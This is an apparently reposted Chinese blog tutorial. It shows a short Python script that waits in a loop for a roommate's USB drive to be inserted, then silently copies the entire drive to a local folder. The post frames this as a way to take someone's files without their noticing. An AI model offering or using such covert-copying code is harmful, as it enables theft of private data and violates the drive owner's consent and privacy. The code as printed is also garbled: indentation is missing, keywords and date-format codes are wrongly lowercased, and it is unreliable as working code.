欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

室友U盘内容丰富,被我利用Python几行代码就拷贝,他还不知道!

程序员文章站 2022-04-15 23:28:34
前言 标题就当故事就好了,咱们还是来学习的。简而言之就是利用Python编程去拷贝U盘内容,并且还要达到别人不知道的效果,最关键的是代码量少,零基础都看得懂。 准备 Python3.6.5 解释器 pycharm 编辑器 模块 os shutil time datetime 思路 当别人把U盘插进电 ......

前言

标题就当故事就好了,咱们还是来学习的。简而言之就是利用python编程去拷贝u盘内容,并且还要达到别人不知道的效果,最关键的是代码量少,零基础都看得懂。

室友U盘内容丰富,被我利用Python几行代码就拷贝,他还不知道!

室友U盘内容丰富,被我利用Python几行代码就拷贝,他还不知道!

 

准备

  • python3.6.5 解释器
  • pycharm 编辑器

模块

  • os
  • shutil
  • time
  • datetime

思路

当别人把u盘插进电脑的时候,就要开始立马拷贝,并且这个过程中你就不能再动电脑了,不然就会有嫌疑。

 

室友U盘内容丰富,被我利用Python几行代码就拷贝,他还不知道!

 

所以最好的办法就是,在别人插入u盘前,你就开始运行python程序,写个死循环去检测是否插入了u盘(这个u盘的分配盘就不要我多介绍了,比如你自己的电脑盘是g结尾,那么u盘就是h盘了)。这个时候别人一插入u盘,立马执行下面的拷贝程序。

所以咱们的代码就很简单了,这个是检测u盘的代码

室友U盘内容丰富,被我利用Python几行代码就拷贝,他还不知道!

while true:
if os.path.exists('f:'):
now = str(datetime.datetime.now().strftime('%y-%m-%d %h:%m:%s'))
print('已经检测u盘...' + now)

剩下的就是拷贝的python代码,把u盘内容复制到其它文件夹即可。

室友U盘内容丰富,被我利用Python几行代码就拷贝,他还不知道!

 

 

shutil.copytree('f:', r'c:\{}'.format(str(time.time())))
last_now = str(datetime.datetime.now().strftime('%y-%m-%d %h:%m:%s'))
exit('已经复制完毕...' + last_now)

ok大功告成!